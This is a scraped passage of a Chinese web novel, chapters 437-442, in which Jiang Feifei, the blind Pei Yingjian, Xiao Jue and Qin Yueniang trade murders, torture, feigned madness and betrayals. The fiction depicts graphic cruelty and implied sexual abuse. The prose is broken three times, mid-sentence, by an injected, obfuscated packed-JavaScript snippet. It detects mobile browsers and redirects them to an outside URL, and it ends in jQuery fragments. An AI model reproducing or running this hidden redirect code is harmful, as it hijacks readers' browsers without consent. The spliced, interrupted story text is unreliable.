妇人脸色发白,腿肚子开始打颤:“没……没说什么……” “哦?”姜飞飞的笑容愈发甜美,她缓缓走近,声音轻柔得像在情人耳边低语,“胆子不小,敢在背后嚼我的舌根。”“姑娘饶命!我再也不敢了!我什么都没说!”妇人吓得扑通一声跪倒在地,连连磕头。 姜飞飞却只是笑着,伸出手,像安抚小动物一样抚摸着她的头顶。 下一刻,那只纤纤玉手猛地收紧,扣住妇人的脖子,只听“咔嚓”一声轻响,妇人的求饶声戛然而止,身子软软地倒了下去。 姜飞飞松开手,嫌恶地在雪地里擦了擦指尖,仿佛沾了什么脏东西。 夜里,她又端着一碗汤药走进了裴应见的屋子。 裴应见嗅到了她身上那股若有似无的血腥气,开口问道:“那个妇人呢?” “我结了工钱,让她走了。”姜飞飞的语气平静无波。 裴应见长长地叹了口气,没有再问。 “此地不宜久留。”姜飞飞将药碗放在桌上,声音里带上了一丝急切,“那个面具男人的势力遍布南北,他的人很快就会追上来。我们必须尽快离开。” 裴应见看着她。 姜飞飞叹了口气,捋了捋头发,幽幽道出: “当日我从你府中逃出,本想寻个地方隐姓埋名,却不慎误入一处神秘大宅,那宅子的主人,就是那个面具男人……” 她咬着牙,身体忽然微微颤抖起来。 “他将我囚禁起来,用非人的手段改造我的身体,逼我修习武功,想把我变成他手下最听话的傀儡……我和他,有不共戴天之仇……” 裴应见听的一愣,空洞的眼镜似乎越发审视她。 “我知道,你也受了他不少折磨。”姜飞飞咬牙道,“不管我们从前如何,至少现在,我们是同一路人。” 裴应见沉默地听着。 半晌,他终于开口。 “好。” 姜飞飞的眼睛亮了一下,嘴角控制不住地上扬。 她就知道,他会答应的。 然而,当她转身走出房门,将门轻轻带上的那一刻,脸上所有的脆弱和恨意都消失得无影无踪,取而代之的,是一副冰冷而算计的冷笑。 …… 地牢的阴冷潮气,顺着石壁缝隙渗入骨髓,带着铁锈和血的腥甜。 秦月娘蜷缩在湿冷的茅草堆里,身上旧伤叠着新痕,鞭笞的皮肉翻卷,与破烂的衣物黏连在一起,每一次呼吸都牵扯出闷在喉咙里的痛。 她像一只被丢弃的破败偶人,了无生气。 不知过了多久,沉重的石门发出刺耳的“吱呀”声。 光线涌入,刺得她下意识眯起眼。 萧玦的轮椅在门口,身后的光将他的轮廓勾勒得如同地狱来的修罗。 他似乎很享受她此刻的狼狈,嘴角噙着一抹残忍的笑意,居高临下地审视着她。 “拖出来。” 影卫上前,毫不怜惜地将她从茅草堆里架起,拖拽的动作让她背上刚凝固的伤口再次迸裂,血顺着衣衫蜿蜒而下。 她被扔回了那间熟悉的、囚禁她的屋子。 热水、伤药、干净的衣物,流水般送了进来。 萧玦没有让下人动手,他挥退了所有人,亲自拧了帕子,粗暴地擦拭着她身上的血污。 他的动作与其说是擦拭,不如说是揉搓,力道之大,让她本就脆弱的皮肤泛起骇人的红痕。 他看着她背上那些纵横交错的伤痕,又看了看她那张与秦绵绵别无二致的脸,眼神忽然变得迷离而诡异。 这一瞬,他忽然有一种自己是在折磨秦绵绵的快感。 萧玦力道很大,秦月娘疼的身体僵硬了一瞬,随即又松弛下去,眼睫都未曾颤动一下。 萧玦仿佛没看到她的反应,自顾自地用指腹蘸了药膏,在那狰狞的伤口上涂抹。 冰凉的药膏混着他指尖的灼热,带来一阵战栗。 他却忽然收紧手指,在那翻卷的皮肉上重重一按。 “嘶……”剧痛之下,秦月娘终于没忍住,倒抽了一口凉气。 听到这声压抑的痛哼,萧玦竟低低地笑了起来,那笑声里满是病态的畅快与满足。 “这才对,太安静了,就不好玩了。” 接下来的数日,萧玦像是找到了新的乐子。 他一边用最好的药为她疗伤,一边用更甚的方式折磨她。 他会在喂她喝参汤时,突然捏住她的下巴,将滚烫的汤汁尽数灌下,看她被烫得咳呛连连;他会在为她上药时,用言语描绘裴应见被野狗分食的惨状,观察她脸上每一丝细微的变化。 可秦月娘仿佛真的成了一具没有心的木偶。 不哭,不闹,不反抗。 眼神空洞,面容麻木。 任由他摆布,仿佛灵魂早已抽离了这具躯壳。 萧玦的兴致,终于在日复一日的沉寂中被消磨殆尽。 第438章 她疯了? 这天,他再次将她折磨得半死过去,看着软倒在床榻上的人,他忽然觉得索然无味。 一个不会哭、不会痛、不会求饶的玩具,还有什么意思? 他烦躁地扯了扯衣领,一脚踹翻了床边的凳子,头也不回地滑了出去,只留下一句:“让她自己养着,别死了就行。” 死寂的屋子里,终于只剩下秦月娘自己。 她躺了很久,直到窗外的天光由明转暗。 她才缓缓地、艰难地撑起身体。 剧痛让她眼前阵阵发黑,但那双空洞的眸子里,却亮起了一点幽微的寒光。 夜深人静,一道黑影避开所有巡逻的守卫,如鬼魅般溜出了院子。 乱葬岗。 寒风呼啸,鸦啼凄厉。 秦月娘在一片荒草与新坟间穿行,她顾不得身上的伤,用手拨开杂草,仔细搜寻着。 她不是在找尸骨,而是在找任何可能留下的痕迹。 因为她到底对自己很自信,她相信裴应见没有死。 然而,除了被野狗刨食过的、不知属于哪个野坟里的残骸之外,这里什么都没有。 裴应见没有留下任何痕迹。 她心头一松。 这意味着他很可能按照计划脱身了。 秦月娘不敢在此地久留,悄无声息地潜回京城,摸向与姜飞飞接头的偏僻荒院。 但院门紧锁,里面灰尘覆盖,显然很久没人来过了。 秦月娘的眸色一冷。 看来她受伤被困的这段时间,姜飞飞脱离了她的掌控。 但不要紧,她身上还有她下的毒,她跑不了多远的。 就在她快要回到郡主府的时候,一道阴冷的身影忽然从暗处缓缓滑了出来。 秦月娘登时一凛。 “这么晚了,去哪儿了?” 萧玦脸色阴沉。 “是去看你的那条狗,被野狗吃得还剩几根骨头么?” 秦月娘的身体瞬间紧绷。 然而下一瞬,她缓缓转过身,面对着萧玦,脸上却忽然浮现出一抹诡异的、痴傻的笑容。 “狗……吃了……”她喃喃自语,眼神涣散,仿佛在看萧玦,又仿佛透过他在看别的什么东西,“他让狗吃了……咯咯……” 她忽然笑了起来,那笑声在夜里显得格外尖利刺耳,她一边笑,一边毫无章法地手舞足蹈,像个疯子。 “他死了!他终于死了!主人,他死了哈哈哈哈哈……” 她疯疯癫癫地朝着萧玦扑了过去,好像作势想要抱住他。 萧玦一惊,下意识厌恶地一脚将她踹开。 秦月娘摔在地上,却仿佛感觉不到疼痛,依旧痴痴地笑着,嘴里胡乱喊着裴应见的名字,时而哭时而笑。 萧玦的脸色阴沉得能滴出水来。 他以为她是为裴应见的死伤心欲绝,可她这副疯癫的模样又算什么? 她疯了,都是因为那个裴应见?! 怒火与一种说不清的憋闷堵在胸口,让他几欲发狂。 他上前一把揪住她的头发,将她拖回府里,狠狠掼在地上。 “疯了?我便让你疯个够!” 他暴怒地撕扯她的衣物,发泄着无处排解的戾气。 然而,无论他如何折辱,秦月娘都只是痴傻地笑着,嘴里颠三倒四地念叨着那些疯话。 最终,萧玦像是被抽干了所有力气,颓然地松开了手。 他看着地上衣衫不整、却依旧在傻笑的女人,头一次感到了无力。 他可以折磨一个有了心的工具,却对一个疯子无可奈何。 他整理了一下衣袍,眼神复杂地看了她最后一眼,转身操控轮椅滑了出去,将她一个人锁在了屋子里。 “砰”的一声,门被从外面锁死。 屋内的笑声还在继续,不知多久之后,才慢慢停止。 秦月娘慢慢地从地上坐起,她抬手擦去嘴角的血迹,那双方才还涣散痴傻的眸子,此刻清明如镜,冷得像淬了冰。 她望向门的方向,嘴角缓缓勾起一抹冷笑。 …… 风雪渐歇。 官道上积雪半融,泥泞难行。 裴应见由姜飞飞牵着,一脚深一脚浅地走着。 风依旧刺骨,刮在脸上,像被无数细小的冰针扎着。 他看不见,周遭的一切便通过耳朵和皮肤,变得格外清晰。 他能听到姜飞飞平稳的呼吸,能感觉到她牵着自己的那只手,虽然纤细,却稳得像一块石头。 这几日,她的话很少,褪去了伪装,她不再是那个会用手势笨拙表达情绪的“阿哑”。 她只是沉默地赶路,沉默地将干粮和水分到他手里。 不知走了多久,昏沉的天色也看不出时辰。 就在这时,裴应见脚步微不可察地一顿。 他侧过头,耳朵朝着来路的方向。 风声里,夹杂着一丝极细微的、被刻意压制住的马蹄声。 不止一匹。 而且来人懂得如何利用风声和地形掩盖行踪,若非他眼睛失明,听力过人,几乎无法察觉。 他不动声色,手却下意识地收紧。 几乎是同一时间,牵着他的那只手也猛地一紧。 姜飞飞停下了脚步。 她的声音压得极低,贴着他耳边,“后面有人。” 裴应见没有作声。 姜飞飞拉着他,迅速离开了官道,一头扎进了路旁的密林。 她的动作快得惊人,在崎岖不平的林地里穿行,竟如履平地,同时还能分神照顾着他这个瞎子。 “左三步,有树根。” “低头。” “别踩到枯枝。” 她的指令简短、清晰,不带半分情感。 裴应见完全跟随着她的引导,他们几乎没发出一丝声音。 他们在一处背风的山坳里停下,姜飞飞将他按在一块岩石后,自己则像只警觉的狸猫,悄无声息地攀上一旁的土坡,隐在灌木丛后朝外窥探。 片刻后,她滑了下来,身上甚至没沾染多少尘土。 “是那个面具男的人,一共七个,都骑着马。” 裴应见皱起了眉。 七个骑兵,对付他们两个,其中还有一个是瞎子,简直是手到擒来。 姜飞飞却似乎并不慌张,她拉起裴应见:“往这边走。” 她带着他,没有选择往深山里逃,反而绕了一个圈,朝着另一条更偏僻的小路走去。 那条路通往一处断崖,是条死路。 第439章 他的异样 裴应见感觉到地势渐渐变化,心生疑窦,却没有问。 当追兵的马蹄声越来越近,几乎就在身后数十丈开外时,他们已经站在了断崖边。 凛冽的山风从崖下灌上来,吹得人衣衫猎猎作响。 “跳。” 姜飞飞的声音在他耳边响起。 裴应见一怔。 身后,追兵的呼喝声已经隐约可闻。 姜飞飞没有给他犹豫的时间,抓着他的手臂,纵身一跃。 失重感瞬间包裹了全身,风声在耳边呼啸。 裴应见以为自己会摔得粉身碎骨,然而下坠了不过一丈多高,脚下便踩到了实处。 原来断崖之下,还有一个被藤蔓和凸出的岩石遮掩住的平台。 不等他站稳,姜飞飞已经拖着他闪身躲进平台内侧一个狭窄的石缝里。 几乎是他们藏好的瞬间,崖顶上传来了马蹄声和人声。 “人呢?明明是往这边跑的!” “头儿,这是断崖,没路了!” “搜!给我仔细搜!” 头顶的脚步声来回踱步,石屑簌簌落下。 裴应见屏住呼吸,能清晰地听到自己的心跳。 他身旁的姜飞飞却连呼吸都轻得仿佛不存在。 许久之后,崖顶的人似乎终于放弃,骂骂咧咧地离开了。 直到周围彻底恢复了寂静,姜飞飞才松开一直抓着他手臂的手。 石缝里空间狭窄,两人几乎紧贴在一起。 他能闻到她身上传来的一股淡淡的、混合着草木与风雪的冷香。 “你的身手,不错。”裴应见终于开口,声音沙哑。 黑暗中,他听到姜飞飞发出了一声极轻的、带着嘲弄的笑声。 “跟在那座大宅里的改造相比,这些躲猫猫的把戏,只是小意思。” 姜飞飞的语气毫无波澜,仿佛在说一件与自己无关的事,却莫名让听的人也感到浑身发冷。 “在那个恐怖的大宅里,为了活下去,我被迫学会了太多非人的本领。” 裴应见没有再问。 姜飞飞似乎也不想再多说,她从石缝里钻了出去,摸索着找到了一条可以攀援下去的藤蔓。 “走吧,这里很快就会被发现。” 她拉着裴应见,顺着藤蔓,灵巧地滑下了峭壁。 接下来的路,他们彻底避开了官道,一头扎进了连绵不绝的深山老林。 姜飞飞展现出了与她柔弱外表截然相反的、强悍到令人心惊的野外生存能力。 她能轻易地从覆雪的枯枝败叶下,翻出可供果腹的根茎;能用几根藤蔓和石块设下简易的陷阱,捕获冻得僵硬的野兔;她甚至懂得如何搭建一个足够隐蔽、又能抵御风寒的临时庇护所。 夜里,两人围着一堆小小的、几乎不见烟火的火堆。 火堆里的枯枝发出毕剥的轻响,溅起几点猩红的火星。 裴应见啃着手里的兔肉,没什么味道,还有些腥气。 但这种时候,这种地方,能弄到这样的吃食,姜飞飞已经非常厉害了。 他吃东西的动作很慢,细细地咀嚼,仿佛在用这种方式感知周围的一切。 在他身旁,姜飞飞正处理着手臂上的伤口。 那是躲避追兵时,在林中被尖利的树枝划开的,一道深可见骨的口子。 她却连眉头都没皱一下,熟练地清洗,再敷上自制的药膏,最后撕下衣摆的布条,单手打了个漂亮的结。 整个过程,安静得像个经验老道的外科大夫,而不是一个娇滴滴的姑娘家。 “你的那个叫青义的属下,倒是个心善的。”她忽然开口,打破了沉默。 裴应见咀嚼的动作停了停。 姜飞飞像是没察觉,自顾自地说了下去,声音里带着一丝缥缈的笑意: “当初在侯府,我就是骗了他,才逃出来的。” 她侧过身,将自己绑着布条的手臂伸到火光前,似乎是在欣赏自己的杰作。 “他看见了我身上的旧伤。他看着我,就像在看一个从地狱里爬出来的可怜虫。” 她轻笑一声,那笑声在寒夜里听来有几分诡异。 “其实这些伤痕本该是秦绵绵替我受的,不是吗?” 裴应见一侧的手忽然收紧。 秦绵绵…… 这个名字像一根淬了毒的冰针,猛地刺入他黑暗的脑海深处。 剧痛炸开,眼前混沌的黑暗翻涌扭曲,无数破碎的、抓不住的画面一闪而过。 他想不起来。 越是用力,头颅便似要裂开。 他只能强迫自己将那块兔肉咽下,喉结滚动了一下,声音听不出情绪: “是么。” 姜飞飞转过头,火光映着她的侧脸,那双明亮的眼睛在夜色里,像两簇鬼火。 她捕捉到了他那一瞬间的僵硬。 她的心里突然掠过一丝异样。 他对秦绵绵,应该是这种反应吗? “你的眼睛若是一直这样,也确实不方便。”她话锋一转,语气里带上了几分关切,“若是能找到云承月,兴许还有法子。” 她停顿了一下,似乎在等待裴应见的反应。 裴应见没有作声。 “等你的眼睛好了,”她幽幽地继续道,“你得送我回家,如何?我救了你的命,这个条件,应该不算过分吧。” “家?”裴应见淡淡反问。 “对。”姜飞飞的目光投向跳动的火焰,眼神变得悠远而复杂,“你应该也知道,我在那边过得比现在好多了。哪像如今,如丧家之犬一般。” “那边”…… “过得好多了”…… 裴应见的心底,有什么东西被触动了。 可记忆里却仍旧是模糊一片, 什么都看不清。 他头痛的厉害,眉心微不可察地蹙起,那丝困惑的神情,如雪泥鸿爪一闪即逝。 可还是被敏锐的姜飞飞再次捕捉到了。 她心中了然。 这句试探成功了。 她嘴角的弧度加深了些许,随即又迅速敛去。 她没有再追问下去,反而换了个话题,语气里满是纯粹的好奇: “说起来,当日在破庙你神志不清,嘴里却一直念着要往东南去。你那么执着,到底是要去哪里?” 裴应见茫然了一瞬。 东南?他完全没有印象。 他摇了摇头:“不记得了。” “那现在还想去么?”姜飞飞追问。 裴应见沉默了。 他不想被她牵着鼻子走,便反问道:“你想去哪里?” 第440章 哥哥 姜飞飞闻言,竟笑了起来,那笑声里有几分自嘲,几分无奈。 “我?天大地大,我又能去哪里……我只想回家。” “而能送我回去的,只有你。”她将身子蜷缩起来,双臂抱住膝盖,下巴抵在上面,望着火堆,“所以我跟着你走就是了。” 裴应见听着她的话,面上不动声色,心底却愈发混沌起来。 她的话他不敢接,毕竟她说的那些事,他根本想不起来。 而他也知道,这个女人绝非她表现出的那般无助。 她心里的算计甚至比他还多。 于是他只能依旧故作冷淡来应对。 沉默在两人之间蔓延,耳边只有风声与火声。 许久,裴应见才道:“往西走吧。” “西边,那个面具男人的势力要薄弱许多。” 他心底还有另一句话没有说出口。 青义和云承月若要撤离,最有可能的方向也是西边。 因为那里曾有他布下的最后退路。 夜色渐深,风雪又起了。 两人不再交谈,各自靠着山壁,在火堆旁闭目养神起来。 火光将他们的影子拉的很长很长,投在石壁上的影子在跳跃的火光之下,莫名地不时纠缠在一起。 …… 郡主府,书房。 烛火摇曳,映着萧玦阴沉的面容。 一名属下跪在地上,身体微微不自觉发抖。 “人……跟丢了。”他头抵着冰凉的地砖,声音里满是恐惧,“……那女人太过狡猾。属下等追至断崖,她便和那个瞎眼的男人一同消失了。” “瞎眼的男人?” 属下不敢抬头,颤声道:“是……那男人似乎身手也不错,但他双目蒙着布条,像是瞎了。之前姜飞飞在一处乡村和他一同生活过几日,属下们就是摸着这条线追踪的他们……” 萧玦沉默了。 这段日子追踪姜飞飞一直没有结果,因为她实在很会躲。 但如今怎么会多出一个瞎眼的男人? 片刻之后,他抬起手,身后侍立的护卫立刻上前,将那名办事不力的属下拖了出去。 门外传来一声短促的闷哼,随即归于死寂。 书房内,萧玦用指节轻轻敲击着轮椅的扶手。 活捉姜飞飞,确实是他下的命令。 但这个命令,无形中束缚了手下人的手脚。 他唇角忽然勾起一抹弧度。 不愧是他的妹妹,即便是在这种绝境下,依旧能把他的爪牙耍得团团转。 这么难抓,真有趣。 他眼底的暴虐缓缓褪去。 是时候亲自去会会这个让他“惊喜”不断的亲妹妹了。 …… 山林里,积雪没过脚踝,行走异常艰难。 姜飞飞将裴应见安置在一处背风的山坳里,叮嘱他不要乱动,自己则提着简易的武器去寻觅食物。 她像一只习惯了在林间穿梭的雌豹,动作敏捷而无声。 然而,就在她拨开一丛灌木枯草,准备设下的套索时,耳朵忽然捕捉到远处风中传来的非同寻常的响动。 不是野兽,是人。 而且不止一个。 她的心猛地一沉,眼神瞬间变得锐利如刀。 来人迅捷无比,比前些日子追踪他们的那些人武功还要高。 最重要的是,他们从四面八方包抄而来,在这冬日空旷的山林里,她想要隐蔽已然来不及。 电光火石之间,她做了决定。 她立刻在原地快速地兜了半圈,用树枝和脚印在雪地上制造出凌乱而清晰的痕迹,痕迹的指向,正是裴应见藏身的山坳。 做完这一切,她没有丝毫留恋,转身朝着相反的方向潜去。 那个瞎子虽然是她用来防身的依仗,但在这紧急关头,她也不介意舍弃他当诱饵,替她引开追兵,争取逃命的时间。 然而她没想到,她布置的痕迹根本没起效。 没跑出多远,前路便被数道黑影拦住了。 那些人如鬼魅般从林木后闪出,将她团团围住。 姜飞飞的心直坠谷底。 这些人,比之前断崖边碰上的骑兵更强,行动也更悄无声息。 她停下脚步,缓缓扫视着包围圈,大脑飞速运转,寻找着哪怕万分之一的生机。 就在这时,人群 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16338004|165820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忽然向两侧分开,一架造型奇特的轮椅碾着雪地,被一个面无表情的护卫推了出来。 轮椅上,坐着的正是那个她既恐惧又憎恨的面具男人。 他竟然亲自来了! 对这个男人的恐惧,几乎已经成了姜飞飞刻在身体里的本能。 看到他的瞬间,姜飞飞浑身的血液都仿佛要凝固了。 她脸上那份强作的镇定瞬间土崩瓦解,片刻间便换上了一副她曾经用来取悦男人的、柔媚入骨的奴态。 她双膝一软,就那么跪在了雪地里,低下高傲的头颅,声音娇颤: “主人……” 男人没有说话,只是挥了挥手。 护卫推着他,缓缓靠近。 那张青铜面具在林间斑驳的光影下显得格外狰狞可怖。 姜飞飞的心跳到了嗓子眼,她已经准备好承受任何折磨。 然而,轮椅在她面前停下,那男人却似乎有些恼怒地抬起手,做了一个她完全没想到的动作。 他摘下了脸上的面具。 姜飞飞顺从地抬起头,准备迎接“主人”的审视,可当看清那张脸时,她整个人都懵了。 那张脸…… “……哥哥?!”她脱口而出,声音因为极致的震惊而变了调,“怎么是你?!” 萧玦看着她那副呆滞的模样,心中因她方才那声“主人”而升起的怒火,莫名消散大半。 他扯了扯嘴角,露出一抹僵硬的笑意。 “是我,傻丫头。” “不用怕了。” “还不过来。” 姜飞飞终于反应过来,立刻像是找到了主心骨,连滚带爬地扑过去,一把抱住他的腿,放声大哭起来: “哥哥!真的是你!我以为……我以为我再也见不到你了!” 她的哭声里带着真实的委屈和后怕,眼泪顺着娇媚的面颊,大颗大颗地往下掉。 萧玦被她抱着,身体有些僵直,尽管在现代的时候就已经和她相认,但这么多年来,他冷漠惯了,还是很不适应这种温情场面。 他笨拙地伸出手,在她头顶拍了拍,语气生硬地安慰: “好了,不哭了。” 第441章 叫大小姐 “哥哥,你怎么也到这里来了?”姜飞飞哭了一会儿,终于抬起泪眼婆娑的脸,急切地问。 萧玦眼神闪烁,他不打算告诉她自己是魂穿的事,于是说出了早已编好的说辞: “还不是被秦绵绵那个**所害。我也不知道怎么回事,醒来就在这里了……然后又阴差阳错顶替了那个面具男人的身份。” 姜飞飞点点头。 萧玦的天生残疾确实跟那面具男人很是相似,戴上面具外人也看不出来。 他顿了顿,继续道:“你逃走之前,我才刚过来,对这里的一切都还不熟悉,所以没能及时与你相认。等我稳住局面想找你的时候,你已经跑了。” 姜飞飞脸上露出羞赧的神色,抽噎着说:“我还以为……以为那些人是来杀我的,吓死我了,白白跑了这么久……” 她像是忽然想起了什么,急忙追问:“……那真正的面具男人呢?” 萧玦眼中寒光一闪,淡淡道:“被我杀了。” 姜飞飞心头一跳。 她不信。 那个男人的恐怖,她亲身体会过,绝不是没有半点武功的萧玦能轻易杀死的。 或许,他来的时候身上带着现代的**? 但电光火石之间,她又想到一个破绽。 虽然自己之前从未仔细看过那个面具男人,但她依稀记得他残疾的部位和自己的哥哥萧玦是不一样的。 难道这人,不是萧玦? 但他的脸…… 姜飞飞因为过去经历的缘故,在现代的时候即便知道萧玦是自己的亲哥哥,但也并非全身心毫无保留地相信。 而如今,就更不可能完全相信了。 心里种下了一份怀疑,但面上却又立刻换上了一副崇拜又欣喜的表情,用力点头: “哥哥你好厉害!我就知道你最厉害了!” 萧玦看着她眼底深处那未及消散的疑虑,心知她并未全信。 不过他不在意。 毕竟是血脉相连的亲妹妹,只要她在自己身边,一切就都好说。 至于为什么没有把全部真相告诉她……连他自己都说不清楚。 兄妹二人温存片刻,萧玦望着不远处的密林,忍不住嗤笑一声。 “你这点上不得台面的小聪明,也就能骗骗那些蠢货。”他抬手,用指腹蹭了蹭她脸上未干的泪痕,“你在雪地里布下的那些痕迹,可骗不到你哥哥我。” “那些痕迹,你是想把我们引到什么地方?让我来猜猜,是那个跟你在一起的眼瞎男人,是不是……” 萧玦的视线转向她方才奔来的方向,语调拖长,“他是谁?” 姜飞飞的心猛地一跳,脸上依旧是那副劫后余生的庆幸与依赖,脑子里却在飞速盘算。 只一瞬的犹豫,她便做出了决定。 “是……裴应见。” 萧玦一顿。 裴应见? 又是他! 他果真没死? 还跟自己的妹妹搅和到了一起? 短暂的意外过后,他唇角缓缓勾起一抹残忍的弧度。 这可真是……太有意思了。 他倒要看看,秦月娘那个女人若是知道了这个消息,脸上那副疯疯癫癫的面具,还能不能戴得住。 “哥哥,我不是故意要跟他在一起的!我也只是利用他保护自己而已。”姜飞飞见他冷笑,立刻扑上来,哭得更凶了,仿佛受了天大的委屈,“我不知道那个大宅子的主人就是你……我好不容易逃出来,却被秦月娘那个**给抓住了,她还给我下了毒……” 她一边哭诉,一边撸起自己的袖子,露出手腕上一圈淡淡的青紫色痕迹。 “她逼我替她做事……我若是不从,便会毒发身亡,求生不得求死不能!” 萧玦的目光落在她手腕上,眼神骤然一沉。 他伸手,两根手指搭上了她的脉搏。 片刻后,他眼底的寒意几乎要凝为实质。 果然是**了。 而且这毒的手法,他再熟悉不过。 那是他当初闲来无事时教给秦月娘的,用来控制下人的几种阴损法子之一。 那个女人,竟敢把主意打到他的亲妹妹身上! 萧玦从怀中取出一个小小的瓷瓶,倒出一粒赤红色的药丸,直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16342624|165820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接塞进了姜飞飞的嘴里: “吃了它。” 药丸入口即化,一股暖流顺着喉咙滑下,迅速驱散了体内那股若有似无的阴寒之气。 “好了,没事了。” 萧玦的声音依旧没什么温度,但比方才缓和了些许。 他松开手,对着身后那群黑衣护卫冷声道:“都过来。” 十数名护卫悄无声息地上前,齐刷刷地单膝跪地。 “从今日起,她便是你们的另一位主子,叫大小姐。” 萧玦的目光扫过众人,“见她如见我,若有半分不敬,下场你们自己清楚。” “是!属下参见大小姐!”整齐划一的声音在林间响起。 姜飞飞看着跪在雪地里的一众黑衣人,听着那声“大小姐”,恍惚间,仿佛又回到了现代,回到了那个众星捧月、说一不二的萧家公主。 一种久违的、掌控一切的权势感,让她浑身的血液都开始沸腾。 她缓缓站起身,泪痕未干的脸上,却已经带上了一丝居高临下的审视。 她的目光在人群中逡巡,最后,落在了其中一名护卫的脸上。 “哥哥,”她伸出纤纤玉指,指向那人,声音娇娇弱弱,却带着不容置疑的怨怼,“前两日追踪我的时候,就是他害我划伤了手臂。” 被指认的护卫身体一僵,头埋得更低了。 萧玦顺着她指的方向看了一眼,没有任何犹豫,甚至连问都懒得问一句。 “拖下去。” 立刻有两名护卫上前,架起那名面如死灰的同伴,毫不拖泥带水地拖进了密林深处。 很快,林中传来一声短促而压抑的闷哼,随即,一切又归于死寂。 风雪吹过,卷起地上的浮雪,仿佛什么都没有发生过。 姜飞飞看着那片密林,听着那声微弱的垂死挣扎,嘴角抑制不住地勾起一抹愉悦又残忍的弧度。 这感觉,真是好极了。 “臭丫头,这些日子受苦了,你先回家。”萧玦说完就要让护卫护送姜飞飞离开。 姜飞飞却道:“哥哥,你要做什么,是要对付那个裴应见吗?” 第442章 他走不远的 萧玦没有回答,但答案是肯定的。 他和秦月娘联手做局,假死骗他,他自然是要好好跟他们算算这笔账的。 但姜飞飞却柔柔一笑:“哥哥,别生气,把他们交给我怎么样?我保证我的法子能让他们痛苦万分,求生不得,求死不能……” 她的声音又软又甜,像裹着蜜的糖,可话里的内容却淬着最阴毒的汁液。 萧玦挑了挑眉,看着她那张尚带泪痕却已然浮现出快意的脸,颇觉有趣。他这个妹妹,骨子里果然还是跟他一样的。 “好啊。”他漫不经心地应允,“那就交给你了。别玩**,留口气,我还有用。” …… 姜飞飞很快便折返回了裴应见藏身的山坳。 山坳中光线昏暗,裴应见正襟危坐,蒙着眼睛的白布让他整个人都透着股生人勿近的冷峻。 “快走。”姜飞飞走上前来,开口便道。 然后拉着他往外面推。 裴应见身形一滞,皱眉反问:“你不走?” 姜飞飞点头:“对,我不走了,你一个人走。快走吧。” “为什么?” “因为……我遇到了追踪的人,就是那个面具男人的手下……而你一定想不到,原来那个面具男人,是我哥哥,萧玦。” 姜飞飞直接和盘托出,语气纪委坦诚。 倘若裴应见还记得那些事的话,只怕确实会惊讶于她的坦诚。 但只可惜他并不记得。 萧玦这个名字在裴应见空荡荡的脑海里没有激起任何波澜,但他却敏锐地捕捉到了这两个字背后隐藏的危险。 无论他是谁,他都很危险。 至于姜飞飞为何会特意回来告诉自己这些事,此刻还不好定论。 他顿了一顿,假装自己一切了然于心。 他站起身,没有片刻迟疑,转身就朝山坳外走去。 “我会想办法拖住他几天。”姜飞飞看着他的背影,补充道,“就算还这些日子你我同行的情分……之后他若还要再找你,或是杀你,那就不是我能管的了。” 她话说得坦白,甚至带着几分冷酷。 裴应见脚步顿了顿,没有回头,只低沉地“嗯”了声,便消失在了风雪之中。 姜飞飞看着他离去的方向,轻轻吐出口白气。 然后勾起一个势在必得的笑容。 她相信,裴应见,走不远的。 …… 当姜飞飞随着萧玦的车驾回到京城时,心境已是天壤之别。 安乐郡主府。 金丝楠木的梁柱,白玉铺就的地面,四处悬挂的鲛人纱幔,暖炉里焚着价值千金的异域香料,空气里都弥漫着金钱与权势的味道。 她不再是那个需要卑躬屈膝、仰人鼻息的卑贱工具,反而被尊为了这座府邸实际上的主人。 府内所有下人,连同名义上的郡主秦月娘,都早已被勒令在庭院中跪地等候。 “参见主上,参见大小姐!” 山呼海啸般的**声,让姜飞飞浑身的毛孔都舒张开来。 她喜欢这种感觉,喜欢这种将所有人都踩在脚下的感觉。 她的目光越过乌泱泱跪了一地的人群,精准地落在了最前方那个穿着华贵却掩不住疯癫之态的女人身上。 秦月娘。 姜飞飞踩着松软的地毯,一步步走到她面前,居高临下地审视着她。 秦月娘仿佛没有察觉,依旧痴痴傻傻地笑着,眼神涣散,口中喃喃着不成句的疯话。 “把头抬起来。”姜飞飞的声音娇柔里含着冷酷。 秦月娘却毫无反应。 姜飞飞也不恼,只是抬起脚,用鞋尖轻轻挑起秦月娘的下巴,强迫她仰起脸。 “啧,”她嫌恶地皱了皱眉,“真脏。” 她随即转向旁边的侍女,懒洋洋地吩咐:“让她伺候我沐浴更衣。” 此言一出,连萧玦都侧目看了她一眼。 秦月娘现在疯疯癫癫,极具攻击性,让她近身伺候? 果然,话音刚落,被迫抬着头的秦月娘像是受到了什么刺激,猛地张嘴就要朝姜飞飞的腿咬去! 姜飞飞早有防备,迅速收回脚,脸上却恰到好处地露出受惊的表情,跌跌撞撞地退后两步, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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侍女们走的飞快,很快,房间里就静得只剩下炭火偶尔爆开的轻响。 她走到秦月娘面前,蹲下身,然而她手中的鞭子却没有落下,反而突然伸手,飞快地扶起了她。 “别装了。”姜飞飞的声音压得极低,带着不容置疑的急切,“我没时间跟你解释太多。” 